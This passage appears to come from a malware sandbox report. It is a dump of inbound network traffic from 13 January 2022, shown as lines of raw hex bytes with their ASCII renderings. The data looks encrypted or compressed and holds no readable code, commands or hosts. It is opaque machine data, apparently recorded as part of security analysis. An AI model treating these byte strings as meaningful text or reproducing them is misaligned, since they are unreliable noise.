a7 68 e0 69 79 c5 38 d5 25 0b 90 97 b0 dc ce 01 96 85 7c 4b e6 54 7c 4b d7 f5 52 2c 83 3b 2a f4 b2 c3 a6 e6 49 b8 dd e0 40 c4 14 a5 5c 02 68 Data Ascii: _[AKF0Vja>U\L ye{OsM ua1fMdt$GN%b} m[G6Y.}]'v\hb-z{k_!i4BqtXQVPi$zGe^H6hiy8%\|KT\|KR,;*I@\h
2022-01-13 19:22:18 UTC	251	IN	Data Raw: 27 f9 33 99 06 fd 24 c5 a7 e8 52 b9 ba 83 31 2b 7c 10 b0 8f 1f 7e 44 bd b1 51 a1 b2 c8 d3 81 e4 5b 0e bd 2b 7d 71 d8 39 5c 58 10 e9 d6 08 43 57 92 b6 c2 eb c9 50 20 4c 29 85 37 df ec d9 f1 65 fe e7 de 27 07 ae d0 7f 38 c6 27 32 ee b5 40 45 b8 6c 6f a8 e4 58 12 a0 f2 9f 70 7a 4e 1c 9e c4 2d a0 fd c6 29 9b 08 ad 50 d0 03 5a 18 3f 44 66 7e f1 ca 52 2a ac d2 7c 4d 85 38 0f 3f d7 f0 90 92 7c 4e a5 61 23 01 8b 2f 74 5b 0d 37 11 3e cd 9c 26 8e 6b e7 97 04 22 81 3d 5d b8 ce de 62 f4 b5 c8 12 2a f4 10 ba 8a a8 59 9c bd bb d2 08 32 e7 a5 64 7c 4b be 3d 48 36 fd 29 54 13 1f 1d 2d 7b 07 c7 53 af 81 35 bf bf 58 1a 70 50 d3 8b df e5 5c 03 57 98 0c b2 5c 03 49 b9 20 9e 59 9d d5 8f b5 48 8c ae 6f ed 88 a5 20 9e aa d0 51 ab 3c dc 61 8e b0 dd d2 39 66 48 13 12 8f 94 af 6b Data Ascii: '3$R1+\|~DQ[+}q9\XCWP L)7e'8'2@EloXpzN-)PZ?Df~R\|M8?\|Na#/t[7>&k"=]bY2d\|K=H6)T-{S5XpP\W\I YHo Q<a9fHk
2022-01-13 19:22:18 UTC	255	IN	Data Raw: 4b fa e3 b7 2b 47 85 0e 87 6b 90 c5 f3 6e 37 20 c2 74 1d 5c 41 11 5b b1 70 60 59 c8 51 dd bd eb 85 7a 04 19 49 89 17 1a a1 38 87 76 19 70 12 df b9 e0 2d 3f 01 83 5c 33 59 ad 67 b5 0a 1b 56 77 83 6b a0 be 7e 16 ce 30 d2 39 12 ec 17 70 02 23 50 75 8c f0 12 dc 3d 00 2e b9 e8 08 2e cd ae e9 89 7b 91 6f b8 8b 72 16 cf b2 f2 80 83 73 94 c0 7c 1f 61 cd dd b4 95 5d c4 4a 6e 2f 39 14 c3 97 36 df b0 9e aa 8c fd 74 37 61 be 0c f6 e9 89 65 a4 bf d0 34 db cd cb dd b8 8d 57 c4 45 80 83 0a 3f 1a d1 db ae 9b 4b fd 74 68 4e 14 94 ee 0e f7 68 3c 98 cb c5 9c c1 93 2d 27 52 79 da 78 42 96 d1 d8 34 be 67 cc 52 78 3a 8d 53 f0 17 59 ca 42 a8 dc 4f 97 77 97 73 9f 2d 00 0d 70 01 8f 56 65 a0 af 39 66 49 89 6e 3e ba 6c 24 c2 79 b2 95 57 fa 91 29 42 bb fe df ac 80 c8 4d f7 7b b7 1a Data Ascii: K+Gkn7 t\A[p`YQzI8vp-?\3YgVwk~09p#Pu=..{ors\|a]Jn/96t7ae4WE?KthNh<-'RyxB4gRx:SYBOws-pVe9fIn>l$yW)BM{
2022-01-13 19:22:18 UTC	259	IN	Data Raw: 17 4a 0b 20 ae 85 0e e8 69 a2 ce 44 fe f4 84 e3 de 10 8b 3b 6a 21 31 20 ae 85 0e f2 80 e2 5c 55 a4 b6 fb 57 a8 fc 96 c6 1e cf b2 86 90 d3 bb f6 88 f8 8d 4f 97 75 eb d0 34 bf 8f 4a 0b 61 be 2c c9 d6 42 89 17 7f 01 89 17 79 f4 c5 9c e1 da 27 3e 90 a6 a5 55 c3 97 59 ad 15 16 c8 23 15 16 ec 72 01 ea 3d 6f dd d1 b6 fb 7d fc f9 0f 60 3c 98 b8 8f 24 de 53 ed f4 e7 e7 94 af 0e 87 57 a8 b9 81 69 d0 5d b6 bd 8a 98 b8 c8 23 a3 51 9b 3f 1d 28 af 6b bc 08 0d 04 11 0d 76 6d b6 fb 63 c3 e5 e3 b1 70 23 35 7d fc e2 5c 55 a4 bc 08 0a 7e 10 8b 69 d0 57 a8 b5 78 3c ec 72 64 45 80 e6 65 aa e0 39 66 07 f7 72 64 2b 47 e4 61 ce 30 bf 8f 4b 8e e1 da 4b 8e b4 f6 c4 1a a1 4c 20 ae ab 62 75 eb c0 11 34 db fd 18 a9 5e 08 79 f5 06 75 e8 47 85 0e 87 7c 7a 10 8b 75 eb b9 81 60 3c 80 83 Data Ascii: J iD;j!1 \UWOu4Ja,By'>UY#r=o}`<$SWi]#Q?(kvmcp#5}\U~iWx<rdEe9frd+Ga0KKL bu4^yuG\|zu`<
2022-01-13 19:22:18 UTC	264	IN	Data Raw: 04 0a cc d4 8d f3 f1 02 c7 0c 22 4c bd 21 e7 18 62 b6 04 8f f2 57 57 57 61 77 10 74 a4 1f d3 44 32 1a 5e c7 6c 9a 42 05 66 c5 27 c1 4b 0f 35 a2 0f d8 0a 81 9c 33 07 08 f5 fd 4c ef 52 ff c7 5f 0e 5e c7 5f 6a 8c 73 19 fb f0 99 c5 75 02 85 f1 2c 18 4c 72 15 67 bd 8a 66 b6 04 3d 6f dd d1 74 43 57 ea 91 9d f6 47 7a 93 c4 ea 91 f6 6a b9 7e a0 28 2b b8 20 4c fa 6e a9 ad 90 59 5f 54 d5 40 89 95 9f b7 c3 77 18 62 8d ec d0 cb 2e 4b 48 f8 71 16 67 33 89 c6 e1 25 f9 cc d4 c2 de 98 47 7a bb 4b 71 1d fc 45 7f fe 05 6f 16 67 8e 27 1e 55 eb 23 07 08 04 9e 91 d6 37 8b 5e c7 0d e4 b6 04 cc f6 77 10 59 73 0d fb f1 1d f7 f4 63 24 50 e6 aa 2f 9f 2a aa 8f 4b 8e 5d 49 76 24 b7 7d fc 26 aa f6 ab 9d e8 c5 55 5b 44 09 00 97 da a4 26 43 91 c7 55 5b 5f 4a fd e7 1f d4 c6 e1 25 c3 68 Data Ascii: "L!bWWWawtD2^lBf'K53LR_^_jsu,Lrgf=otCWGzj~(+ LnY_T@wb.KHqg3%GzKqEog'U#7^wYsc$P/*K]Iv$}&U[D&CU[_J%h
2022-01-13 19:22:18 UTC	267	IN	Data Raw: 2e 32 29 d7 0f f6 77 6b 10 74 97 43 bc f7 f4 1d f8 70 9f f6 69 2c 36 2d bc f4 7b 04 8c 62 be d9 1d fd 29 20 cc 49 89 17 1a a1 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 f7 0b 00 68 06 75 eb f0 e5 e3 de 53 68 c5 17 91 d6 bb 7f fe 65 32 23 ca d8 a9 b1 8f db 25 d2 c6 e1 3e 15 e9 13 cc f5 f9 f0 ac 32 29 bd 59 7e 80 7c c3 29 a6 28 01 26 43 83 b4 3a 17 e5 58 e6 9a 42 43 b0 12 70 d6 8e 5d 49 3a 24 48 f8 3c 20 51 64 eb 3c 13 ed 5f 76 92 54 8b d7 3b 95 95 fe 65 38 40 39 99 c5 3d a3 ae 16 06 b9 7e 80 1f e0 a7 a6 4e d8 b9 7e ea a5 aa 1f a8 19 e0 a7 2c 09 04 8f ab a9 a2 31 a2 38 12 70 96 42 0c 7d 0a 88 63 3c 1a 57 5e e2 f4 2c 61 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 Data Ascii: .2)wktCpi,6-{b) IL#5]$}2B)B)BhuShe2#%>2)Y~\|)(&C:XBCp]I:$H< Qd<_vT;e8@9=~N~,18pB}c<W^,a}2B)B)B)B)B
2022-01-13 19:22:18 UTC	271	IN	Data Raw: e6 9a 58 cf 57 57 4e f2 66 b6 1c 41 9f b7 94 46 ea 91 9b 8d 92 e3 b3 19 72 64 ba fb ec 72 64 45 80 bc 08 79 f4 32 f2 a4 e5 1c 27 bf 3c 13 d9 03 11 f2 47 42 05 0c 42 3a 17 e5 59 17 e5 1c 13 a7 a6 28 70 d0 cb 56 8c 34 24 48 c0 d6 bd 75 14 6e a4 2c 1b e9 13 ed 74 e8 a5 aa 8b 76 f2 7f 78 f2 33 a6 bc 65 58 d5 79 32 0f f6 77 1f d3 44 01 18 62 be e0 b4 09 04 bf 40 0a 81 c9 69 2f af a7 95 cd 51 57 64 ba fb df 19 e0 a7 95 fe 65 38 28 0c 7d 03 7d 6f 1b dc e9 81 65 38 1d b8 cf 4d 6d 6a 1f d3 44 4d df 2a 29 fc d9 37 ad b2 a7 a6 64 ad 3b 95 82 5f 45 7f b1 a8 23 ca 97 ee 88 6a 84 6c bd 75 0f ed 10 74 8d c5 79 0b e6 83 ec 8d c7 47 62 be bd 3b db 85 63 ae 84 8c 61 41 87 13 12 8f 24 f2 80 83 0a c6 3a cc 1e 55 26 3e 5e c7 72 b0 1e 55 69 1f da b5 b2 39 9f b7 b8 39 9f b7 bd Data Ascii: XWWNfAFrdrdEy2'<GBB:Y(pV4$Hun,tvx3eXy2wDb@i/QWde8(}}oe8MmjDM*)7d;_E#jlutyGb;caA$:U&>^rUi99
2022-01-13 19:22:18 UTC	287	IN	Data Raw: fa 91 29 df 9b 3f 73 7a 86 90 a6 65 4b 8e a2 52 f7 0b 00 f4 54 22 b3 cc e3 de 53 03 2e cd ae 75 4b 8e a2 76 a5 55 a4 4f 05 f3 02 f0 0c 82 87 ab aa e0 58 b6 8a 99 3a 74 3b 6a 52 a4 b3 74 68 d2 74 68 4e 88 95 32 d6 fb 43 7c 7a ed 16 98 b8 64 a5 55 a4 6a 06 75 eb 6b 72 64 45 1b 6f dd d1 04 fc 96 b4 6d 9c c1 93 b6 d3 bb 86 29 02 6c 57 32 0e 87 13 88 91 29 42 43 60 3c ec eb 4d 92 ab fb 63 c3 97 84 4c 10 8b 83 f7 0b 00 f0 c3 97 36 67 30 d2 39 fe 2a c5 9c 59 f1 fd 18 2f dc 4f 97 ae a1 4c 10 13 22 b3 74 da c6 1e aa 78 58 2a c5 0b f0 7b f8 3f ff 1c a6 40 26 bc 08 ee cb a9 5e 80 5f ba 04 e7 52 1d 28 57 80 83 0a c6 ca 27 3e 66 68 4e 14 01 5a 2f 50 ab a2 ce 30 47 2d 4b 8e 37 15 16 98 00 b8 ff 1c 33 37 61 be 99 6a 52 1d 9a 31 54 22 26 8e a2 ce a5 75 eb f0 c3 03 ee 77 Data Ascii: )?szeKRT"S.uKvUOX:t;jRththN2C\|zdUjukrdEom)lW2)BC`<McL6g09Y/OL"txX{?@&^_R(W'>fhNZ/P0G-K737ajR1T"&uw
2022-01-13 19:22:18 UTC	299	IN	Data Raw: 54 f0 48 c4 91 65 c7 a0 cf 22 a6 28 d0 42 71 aa 3e 7a 3e ea 85 39 ed bc 08 79 c8 19 22 3e b9 a1 a0 49 c1 c4 0a 5a 5b 38 ac ed d0 68 c7 e8 a5 99 f6 44 32 1a 62 69 14 17 52 e2 a3 bc 33 b1 75 9f 81 80 cb a9 5e 0c ff 11 86 d8 6e b7 fe d2 f5 ca eb 3c 20 62 8d ec be c0 dd 1d e4 ad ab ae 25 f9 52 3d ab e1 92 6a d9 09 6f d2 f9 0f 09 fe a2 4f 5e 0b 01 61 f6 62 ca 6f fd f4 07 bf da 0a b2 3e 3d a3 9d 8f e8 a5 99 f6 44 32 1a 6d 15 d5 e2 7c be 8f 6c c7 5f 45 7e 07 1f 2c c9 a5 5d 0f e3 55 ec 52 f1 7e 37 34 9b f3 ce fc 5a e3 12 43 bf d2 19 db 4e 5c a3 ae 16 63 26 54 2a 4e c5 17 52 1c 2d 03 04 fb 5b 91 c5 1f 64 10 cb 65 0b cc e7 2b 8b d8 56 e2 df 9d 4b aa bc 83 46 27 2a 4e 58 db bf 5c 08 34 c0 95 77 10 74 98 b8 64 c8 6e ab 62 a3 d0 75 8d 35 2e 1e 91 64 45 80 83 1a 84 90 Data Ascii: THe"(Bq>z>9y">IZ[8hD2biR3u^n< b%R=joO^abo>=D2m\|l_E~,]UR~74ZCN\c&TNR-[de+VKF'NX\4wtdnbu5.dE
2022-01-13 19:22:18 UTC	315	IN	Data Raw: 8b 53 bf ab 16 13 5e 10 af 17 91 65 e7 c3 d3 c4 15 e5 3a 63 8b c1 97 26 b3 af 68 06 6f 36 34 a9 91 12 c7 79 7f 49 99 fa 12 c7 ae 9c f1 c4 56 27 75 66 01 28 c3 df d1 56 e7 af a8 57 e0 70 35 d6 0a 41 0b df ee 3f 73 e6 20 c6 0b ff d2 b2 ba 04 70 24 4e 01 15 e8 e2 19 d2 b2 ba f2 b3 31 54 22 b3 e6 e1 d5 40 70 28 1b 10 8b 1b 66 fa 84 73 28 4b c6 17 6e ad e2 14 90 49 48 4f bf f2 ab 2a f5 7b 73 ae e9 ec 37 94 ba fb d9 43 34 29 c9 ed 1d a3 19 2f bc 8b 53 c8 62 17 5b e6 7d d8 32 5f f2 90 82 eb 79 bc 00 4c 4c 99 72 a8 10 47 49 45 4c dc 8c c1 a3 95 b1 38 ac c1 e7 6c 1f 6c 73 ba 8f 6c 57 a8 99 b9 94 50 d2 b2 ba 0d 70 bb 03 a6 d7 c4 5c b2 e7 18 52 96 fc 9f 3c 13 97 7e b5 7c 05 fc 65 e7 c3 d3 ab 6d f1 d9 8c 17 52 d4 3e b9 a1 68 0a f7 43 bc 3b 73 95 fa aa a8 d8 ae 28 88 Data Ascii: S^e:c&ho64yIV'uf(VWp5A?s p$N1T"@p(fs(KnIHO*{s7C4)/Sb[}2_yLLrGIEL8llslWPp\R<~\|emR>hC;s(
2022-01-13 19:22:18 UTC	331	IN	Data Raw: 8f 20 ed 33 59 ad 67 17 9f 47 86 6e d8 07 e6 19 1b 58 13 12 8f a3 1c b3 8b d0 bf c7 a9 2a 05 76 25 3a e8 d3 10 8e 29 0a 7e 7f 86 f2 95 cd 65 4c 58 23 41 b8 7a 3e f1 fd a2 6e 5e b3 3c ec 72 e3 a9 4b 71 29 c9 ed f4 84 88 95 8a d8 46 03 ee a7 7d 68 c5 d4 2a b1 b0 68 06 75 eb 4a c0 14 1f 64 3d 2c 40 bd 4d 19 57 ab 89 17 1a 26 1f 39 99 32 a2 0e 02 24 b7 7d 47 9b 3a 63 8b 1b 23 4a 14 7c 3a 93 a4 9b 17 61 37 2d 77 84 05 cb c2 9c 85 0e 87 13 9a 3e 78 39 16 bc 4c 9b 77 ef f9 0f 89 94 26 f4 b4 b4 7b bc 08 79 f4 1c 82 03 65 8f 04 33 d0 7c 7a 76 6d 49 ad e3 55 ec 3a a3 dc 07 ef ba 8d 10 e8 e0 14 46 30 d2 39 e3 77 fa 6e 4b cd 27 76 aa 6b 9d 40 80 bb bf e9 e9 98 78 f4 cc 2b 47 85 be 28 44 75 a3 59 ee fe 65 f4 44 01 ea 6e e7 40 f0 ba 0b f0 7f 7a ff 2f d9 8c 9e c5 9c c0 Data Ascii: 3YgGnXv%:)~eLX#Az>n^<rKq)F}hhuJd=,@MW&92$}G:c#J\|:a7-w>x9Lw&{ye3\|zvmIU:F09wnK'vk@x+G(DuYeDn@z/
2022-01-13 19:22:18 UTC	347	IN	Data Raw: f1 f5 06 75 ea 6a 66 6d b8 8b 7a 12 e6 4b 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 13 12 8f 24 a3 50 1a a1 4c 10 83 0a 7e 7f 15 24 93 4c 64 24 d3 d2 17 1a a1 4c 10 8b 1b 23 35 5d b6 fb 13 12 8f 24 b7 7d fc 97 35 5d b6 fb 15 16 98 b1 30 d2 39 66 49 fa e2 3e df d5 bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 43 7f 01 ea 6e 59 ad 67 cc 1b 23 35 5d d7 b0 8c fa bf 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 90 a5 55 a4 d3 ba 04 70 78 a1 4c 10 8b 6f a5 30 a6 f9 0f 0a 7e 7f 01 e2 5c 33 5b ed f4 84 e7 89 62 29 36 b9 81 06 75 eb f0 73 e6 65 c6 1a a1 4c 10 ee 1a c0 7f 69 d0 34 db cd ae e9 ec 72 64 45 80 83 0a 7e 1a ca 46 65 c6 79 f4 84 73 18 9d 43 7e 9b 3f 73 e6 00 04 19 79 da 4a 08 79 f4 84 84 8c 9e c0 25 0c a6 b6 8f 45 e4 08 57 a8 df d5 bf 8f 2c c9 Data Ascii: ujfmzK09fIL$PL~$Ld$L#5]$}5]09fI>$}2B)CnYg#5]$}2B)BUpxLo0~\3[b)6useLi4rdE~FeysC~?syJy%EW,
2022-01-13 19:22:18 UTC	363	IN	Data Raw: 36 df d5 bf 8f d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 db cd af 6b d5 bf 8f 24 b7 7d 13 12 8f 24 b7 7d fc 96 59 fd 18 9c c1 93 2d 4b 8e a2 ce dd d1 b6 fb 13 12 8f 24 5f e9 ec 73 e6 65 c7 a0 ca 27 3e 14 94 af 6b d5 bf 8f 24 09 ab 62 40 f5 06 75 eb f0 7b f8 33 59 ad 67 cc 2b 47 85 a4 d3 bb 86 90 a6 d7 c4 1a a1 4c 10 8b 1b 23 35 5d e2 5c 32 d6 42 fa 91 29 42 fa 7e 7f 01 ea 6e 5b b1 70 88 0a 2f 51 68 4e 10 8b 1b 23 35 5d b6 fb fb 13 12 8f 24 b7 7d fc 70 34 db cc 2b 47 85 0e 87 13 12 69 d0 34 db cd ae e9 ec e8 38 e4 60 3c ec 72 64 45 80 83 90 a6 d7 c4 1a a1 4c 10 02 f3 53 9e 36 df d1 b6 fb 13 12 8f 24 b7 f4 84 8c 9e c5 9c c1 93 ac b4 f6 89 17 1a a1 4c 10 8b 1b a2 ce 30 d2 39 66 49 89 67 cc 2b 47 85 0e 87 13 12 8f 24 b7 7d fc 96 b4 f6 dd d1 b7 7d fc Data Ascii: 6=o$}k$}$}Y-K$_se'>k$b@u{3Yg+GL#5]\2B)B~n[p/QhN#5]$}p4+Gi48`<rdELS6$L09fIg+G$}}
2022-01-13 19:22:18 UTC	379	IN	Data Raw: 89 16 98 b8 ff c4 1a a3 51 9b 3e 1f 2d 4a 0b 05 f1 0e cc c3 2d 40 f6 ee 02 6f e0 01 9f 1f 75 9e 92 f2 be 5a 75 b1 b6 a1 15 65 7c e5 d3 e1 92 17 5b e9 ed d5 bc 08 79 f4 84 e5 2b 66 09 f9 06 75 eb f0 7b fb 13 7a 58 46 62 2f 22 d6 36 b1 19 1f 2c cb a9 36 f1 9f 21 5d d2 4d e1 da 4a 09 fb 7b d6 31 31 24 ce 44 89 17 1a a3 51 f3 2c a0 ba 65 a2 bd eb 92 c6 71 81 05 f3 03 ee 14 ba 70 09 83 6f b3 1b 57 c9 a5 55 c1 f7 7e 13 71 8c f7 24 c3 e5 80 ae dd e7 90 8b 6c 30 bc 61 d3 94 db a4 b4 db fe ec 5f 8e 94 d8 6b a2 a9 30 bb eb df b6 89 64 6a 24 d2 5d c5 ef 96 c6 7d d3 81 46 03 8b 7f 74 04 13 7c 13 3d 5d 85 79 93 43 15 7b d5 8b 2d 3c c1 a7 6f 82 b1 48 7f 2e f9 39 0b 64 31 79 9a d4 5c 5b d2 55 cb c6 6a 7f 75 98 d7 ac ca 55 c1 e7 94 ce 5d d5 dc 28 ef 8f 41 1c d5 cc 44 8c Data Ascii: Q>-J-@ouZue\|[y+fu{zXFb/"6,6!]MJ{11$DQ,eqpoWU~q$l0a_k0dj$]}Ft\|=]yC{-<oH.9d1y\[UjuU](AD
2022-01-13 19:22:18 UTC	395	IN	Data Raw: 32 b1 19 6c 39 13 32 b1 1e c5 f0 5b d6 2c a6 bb 81 0d 06 75 eb f0 cf 91 2b 47 f1 a2 ab 18 f4 f7 08 79 86 f1 95 51 9d 42 f8 8d 20 be bd 8a 99 3a e8 69 d0 36 f8 8d 20 ae e9 85 c6 3b aa e0 3b 44 9a cf da 3e 82 eb 84 a3 25 48 64 6a 26 ce 53 b2 c6 28 b7 50 6e 3c 82 ee 1a 8e d6 2b 20 83 39 10 a6 e3 e8 1e 87 64 22 dd b8 92 84 ef 8b 68 61 c8 46 67 bf fc f9 7d 9f 67 f6 cb a8 dc 76 54 57 c6 79 c9 c1 e7 94 82 a7 6b 9a 90 86 f7 26 9c f5 30 ff 2a fd 60 01 82 e4 13 73 8b 36 ff 7f 68 3c 89 79 91 4e 29 27 50 6c 23 58 07 d7 f0 4d ff 31 74 5a 01 d3 95 06 55 e7 c7 f5 48 40 f4 8c 9e c5 8f 7c 7a 72 64 45 88 1f 2c 55 a5 55 a4 d3 bb 86 90 a6 d4 3d 6f dd d1 df 1d 0d b4 ff 1d 28 b4 93 5e 5d c4 6a 34 84 8e a2 ce 20 91 29 42 fa 91 29 42 fa 92 ab 62 41 78 18 55 81 b5 78 12 a1 7c 4b Data Ascii: 2l92[,u+GyQB :i6 ;;D>%Hdj&S(Pn<+ 9d"haFg}gvTWyk&0*`s6h<yN)'Pl#XM1tZUH@\|zrdE,UU=o(^]j4 )B)BbAxUx\|K
2022-01-13 19:22:18 UTC	411	IN	Data Raw: 73 e7 b5 79 e9 ec 72 69 86 90 a6 d7 c4 73 2e d6 a8 c0 11 3d 6e 63 b4 f4 99 4a 7d fe aa 97 34 c6 66 3f 71 ca 50 1b 3e f1 fd 18 9d 2a 0d 74 28 c3 9e e5 94 ad 7a 76 1e a8 84 8d 3d 5f bb d4 3c f1 fd 18 90 e5 e3 de 53 9f 21 f9 14 37 7d fc a6 d6 1a a0 d7 ac 93 2f 01 eb ed f4 f7 09 a9 5f a7 59 ad 6a 5a 2f 50 19 1f 45 48 1c c7 bc 08 79 f4 84 8c f7 c3 e7 a7 5a 26 ee 76 70 60 3c e0 b1 70 60 3c ec 1b eb eb ba 18 d5 2e cf b2 f2 85 88 f8 8c 9e a4 a7 38 a0 ae 87 7b e3 de 53 8b 39 66 49 83 21 5d b7 7d 85 7c 0e e9 a9 2a a6 b1 6a 12 1e a8 dc 4f 92 c3 fc 97 36 ba 69 b1 02 2a b7 18 f5 75 82 eb 92 ca 53 ec 17 01 95 8a 08 7a 76 6d dc 27 55 a5 55 c1 e0 39 24 d0 59 c4 01 b9 80 83 0a 7b 90 cd af 6b 96 e4 0d 6b a7 2d 25 55 c7 bb d6 d3 b9 81 05 fe 3d 06 74 68 2b 2e a6 b8 90 c5 87 Data Ascii: syris.=ncJ}4f?qP>t(zv=_<S!7}/_YjZ/PEHyZ&vp`<p`<.8{S9fI!]}\|jO6i*uSzvm'UU9$Y{kk-%U=th+.
2022-01-13 19:22:18 UTC	427	IN	Data Raw: 76 24 d9 a7 30 a6 a7 3c 8f 5c 76 6b cd ae e9 e9 cd a7 cf b1 70 13 60 59 d9 ad 0a 1f 5e 59 fd 6a 37 03 83 7f 4f 91 39 66 49 8c 1f 25 af 68 4e 67 bf ea 1c c2 71 a3 3f 1c cf c6 6e 3e 92 d3 fe 9c c9 a5 55 a5 1c af ff 1f 2c ad 15 79 97 53 cd c0 7e 16 ec 02 09 98 c0 54 24 b3 74 68 4b af 62 d2 3a e8 1a c6 7f 6d 9f 26 d3 d2 4d e2 39 05 8b 5e 3e f1 fd 18 98 99 33 cb aa e0 3d 0b 6f 9e ab 0d 6d ad 17 7f 62 39 23 33 59 ad 65 c2 1c 37 62 d9 c8 67 9e 8a da 0f 5b ee 39 29 0b 54 72 21 72 3c a9 01 ef f9 0f 08 36 d7 c0 11 7f 60 54 41 58 4e 71 8c f9 66 3a 86 e5 eb f1 ff 1c d2 57 c1 b3 10 ee 19 78 18 ee 19 6a 72 03 80 ec 1e ad 63 c1 93 48 77 96 c0 74 12 e6 16 9f 40 f7 0b 74 06 1c 86 f4 e1 b4 91 40 86 fe ef fe 9e c7 a0 be 62 28 e0 3f 1d 47 e9 e9 e8 6b d5 cb c7 c9 a0 ce 32 d6 Data Ascii: v$0<\vkp`Y^Yj7O9fI%hNgq?n>U,yS~T$thKb:m&M9^>3=omb9#3Ye7bg[9)Tr!r<6`TAXNqf:WxjrcHwt@t@b(?Gk2
2022-01-13 19:22:18 UTC	443	IN	Data Raw: 10 8b 1b 23 17 1a a1 4c 16 98 b8 ff 5c 33 59 ad 63 33 59 ad 06 01 8b 7f 73 c8 e3 8e a2 8e a2 ce 30 d2 39 66 49 89 17 1a a1 4c 10 8b 3b 6a 52 1d 2a c5 9c c1 a3 51 9b 3f 73 b6 fb 13 12 ee 03 8f 40 db ad 37 61 9e c5 9c c1 93 2d 4b 8e a2 ce 30 d2 39 66 49 8f 24 b7 7d e6 65 c7 a0 da 4a 0b 00 71 52 1d 28 c0 65 bf ea 1a 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 28 98 b8 ff 8d b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa b9 81 05 43 5c 33 59 ad 67 cc 2b 47 85 0e 87 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 75 eb f0 bb 86 90 a6 d7 c4 1a a1 4c 10 8b 1b 22 53 9f 48 57 a8 dc 4f 97 36 df d5 bf 8f 24 b7 7b a8 dc 4f 07 f7 0b 00 68 19 1f 2c 49 89 17 1a a1 5c 33 59 ad 67 cc 2b 47 85 0e 87 03 ee 77 ef f9 0f 09 Data Ascii: #L\3Yc3Ys09fIL;jR*Q?s@7a-K09fI$}eJqR(e$}2B)B)B)B(2B)B)B)BC\3Yg+G$}2BuL"SHWO6${Oh,I\3Yg+Gw
2022-01-13 19:22:18 UTC	459	IN	Data Raw: d7 3b 6a 14 f0 08 2b 3f 01 99 5e 54 61 d6 33 3d 0d 77 81 74 10 cb a9 5e 38 f7 f4 7b 07 08 79 f4 c0 7c 0e eb a1 28 b2 9c b5 09 99 5e 75 8b 77 8b 69 90 a6 d7 c4 08 86 6f 22 4c 10 8b 1b 23 70 11 69 b4 a7 3d 1d 46 77 9e a7 3d 6f dd d1 ba fb ec 8d df d5 bf 8f 24 fc f8 ef 93 7c 1e d8 28 b4 87 71 86 90 a6 d7 c8 dc b0 12 70 60 3c ec 72 2f 3e 91 4a 5a 4b fc f8 f9 7e 1d 4c 10 8b 1b 2f af 94 50 e6 65 c7 f2 e8 10 ef 97 53 ce 54 50 77 9b 4e 76 09 fb 13 12 81 fa 6e a4 2c c9 a5 55 e1 b2 9f 2b 16 fc e4 0f 7d 8d 42 9e 85 0e 87 13 1f d3 44 01 15 16 98 ed 9c b0 9e b1 10 e0 18 f6 e3 b0 8f 60 4b 8e a2 ce 3e 0e 78 8e 5d b6 fb 51 ea 0a 1e d9 ac aa 91 47 e7 83 78 03 ae e9 ec 72 6a ad 98 47 7a 76 6d d9 c8 71 86 e3 8d 47 f4 e0 38 87 51 f5 6b a6 b3 03 9d 43 7c 7a 66 b6 04 8f db cd Data Ascii: ;j+?^Ta3=wt^8{y\|(^uwio"L#pi=Fw=o$\|(qp`<r/>JZK~L/PeSTPwNvn,U+}BD`K>x]QGxrjGzvmqG8QkC\|zf
2022-01-13 19:22:18 UTC	475	IN	Data Raw: 96 b4 f6 c9 a0 9a bd ca aa 92 c4 68 3c a9 33 38 81 77 9b 6c 12 83 0a 3e c5 b8 ff 5c 00 80 83 4a 38 28 c0 51 ad 33 59 ed c2 75 eb b0 db 91 29 02 5a 77 ef b9 b7 31 54 62 27 1e aa e0 58 26 bc 49 8d d4 3d 6f dd d1 b6 fb 13 12 8f 24 b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 bb 82 73 25 3b 6a 16 10 df f8 0e 47 0e 44 a3 a9 b5 87 ec 46 81 ec b1 70 21 35 c1 fb 03 67 a8 85 57 f2 40 c6 1e ee ff 48 02 93 0d 8d 44 ce cf d6 42 bb 82 12 e7 b2 32 e5 0f 82 d2 fa 90 a6 93 a5 05 de d0 a4 10 d6 ba ef 06 8a ad de ba c7 a0 8b 1f 49 e1 ca ae 8d 79 ad 3d af 58 d5 40 b0 59 45 80 c3 87 13 07 7c 7a 76 6d db 74 68 0f 8a 01 52 e2 a3 6a d7 2c c9 e4 e2 fc 2e d2 4c 10 cf 3a b8 fa 6e 7b 71 86 a0 35 39 66 08 7d a2 a6 82 47 b6 17 91 7c 7a 76 6d f7 0b 00 68 4f 68 b1 8f db cd Data Ascii: h<38wl>\J8(Q3Yu)Zw1Tb'X&I=o$}2B)B)Bs%;jGDFp!5gW@HDB2Iy=X@YE\|zvmthRj,.L:n{q59f}G\|zvmhOh
2022-01-13 19:22:18 UTC	491	IN	Data Raw: 62 35 5d f7 8a 31 54 22 b3 74 68 0a 0e 8b 1b 62 c0 bd 8a 99 3a e8 69 94 df 8d 20 ef 78 c1 93 2d 4b 8e a2 8a e9 18 9d 02 ed 40 f5 06 75 eb f0 3f 02 10 8b 5a ae 51 9b 3f 73 e6 65 83 7b 58 2a 84 0d b8 ff 1c a6 d7 c4 5e 48 bf 8f 65 46 c3 97 36 df d5 bf cb d9 c8 23 74 e9 28 c0 11 0d 04 70 24 c7 20 ae a8 5d 7e 7f 01 ea 6e 5b f5 76 b9 81 44 7f cd ae e9 ec 72 64 01 9b 33 59 ec f3 d2 39 66 49 89 17 5e 48 cb a9 1f ad b3 74 68 4e 14 94 eb 80 f3 02 2d ca ff 1c a6 d7 c4 1a e5 93 f5 06 34 5a f3 02 6c 57 a8 dc 0b 71 b2 f2 c1 12 6f dd d1 b6 fb 13 56 56 22 b3 35 dc ab 62 41 78 71 e2 18 ed 8c 9e 84 0d ec 72 64 45 80 83 4e 